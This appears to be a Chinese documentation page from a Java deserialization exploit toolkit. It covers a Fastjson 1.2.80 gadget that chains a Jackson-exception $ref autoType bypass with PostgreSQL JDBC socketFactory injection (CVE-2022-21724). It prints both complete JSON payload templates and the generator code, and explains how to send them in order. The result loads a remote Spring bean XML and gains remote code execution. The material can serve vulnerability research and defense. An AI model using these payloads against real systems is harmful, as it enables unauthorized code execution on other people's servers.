Skip to content

Latest commit

 

History

History
78 lines (69 loc) · 4.27 KB

File metadata and controls

78 lines (69 loc) · 4.27 KB

postgresql 1.2.80(FastjsonPostgreSQLJdbc1_2_80)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖org.postgresql:postgresqlorg.postgresql.Driver),版本 9.4.1208 <= x < 42.2.2542.3.0 <= x < 42.3.21.2.75 < fastjson <= 1.2.80

作用

FastjsonPostgreSQLJdbc 面向 Fastjson 1.2.80 的升级版。1.2.68 用的 java.lang.AutoCloseable 期望类绕过在 1.2.76+ 已被封堵,本 gadget 改用 Jackson 异常类 $ref 引用链这一 1.2.80 的通用 checkAutoType 绕过(Jackson InputCoercionException / UTF8StreamJsonParser 借助 $ref 自引用把类加入白名单缓存),随后仍走 PostgreSQL PGCopyInputStreamPgConnectionsocketFactory 注入加载 spring-bean.xml 实现 RCE。

链接标签

  • 入口 tagsFastjsonPayloadEND
    • FastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。
    • END:链尾,无下游。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

getObject 无入参,把两段模板拼成分两步发送的 payload(内含 [INFO] Step1/Step2 提示,供操作者按序投递):

public Object getObject() {
    return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.url);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

Step1(template1)—— 1.2.80 绕过预热

{
  "a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}",
  "b":{"$ref":"$.a.a"},
  "c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}",
  "d":{"$ref":"$.c.c"}
}

这是 1.2.80 公开的 Jackson gadget 绕过:先用 java.lang.Exception 作期望类实例化 InputCoercionException,再借 $ref 触发对其内部处理器的解析,把 UTF8StreamJsonParser 等类喂进 Fastjson 的 mappings 缓存,使后续 @type 直接命中缓存、跳过 checkAutoType

Step2(template2)—— PostgreSQL socketFactory 注入

{
  "x1": {
    "@type": "java.io.InputStream",
    "@type": "org.postgresql.copy.PGCopyInputStream",
    "connection": {
      "@type": "org.postgresql.jdbc.PgConnection",
      "hostSpecs": [ { "host": "127.0.0.1", "port": 2333 } ],
      "user": "root",
      "database": "root",
      "info": {
        "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
        "socketFactoryArg": "%s"
      }
    }
  }
}
  • 外层 @type: java.io.InputStream + @type: org.postgresql.copy.PGCopyInputStream:借 PGCopyInputStream 作为可被 InputStream 期望类接受的载体,其 connection 字段触发 PgConnection 实例化。
  • PgConnectioninfo.socketFactory = ClassPathXmlApplicationContext + socketFactoryArg = %s:与 1.2.68 版同理,驱动建连时 new ClassPathXmlApplicationContext(url) 远程加载 spring-bean.xml → RCE(CVE-2022-21724)。

参数(@Param)

字段 名称 说明 默认 可选值
url 指定加载 spring-bean.xml 文件路径 Spring Bean XML 地址,支持 http/file 协议(http://127.0.0.1:8080/bean.xmlfile://xxx/bean.xml 无(须填)

适用版本与原理要点

  • Fastjson 1.2.75 < x <= 1.2.80AutoCloseable 绕过已失效,改用 Jackson 异常 $ref 缓存投毒绕过 checkAutoType(须分两步发送,Step1 先污染缓存,Step2 再打 sink)。
  • PostgreSQL 驱动版本约束同 1.2.68 版:9.4.1208 <= x < 42.2.2542.3.0 <= x < 42.3.2
  • 目标 classpath 须有 Jackson(com.fasterxml.jackson.core.*)与 Spring。
  • 出网:需目标可访问 url 指向的 XML。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联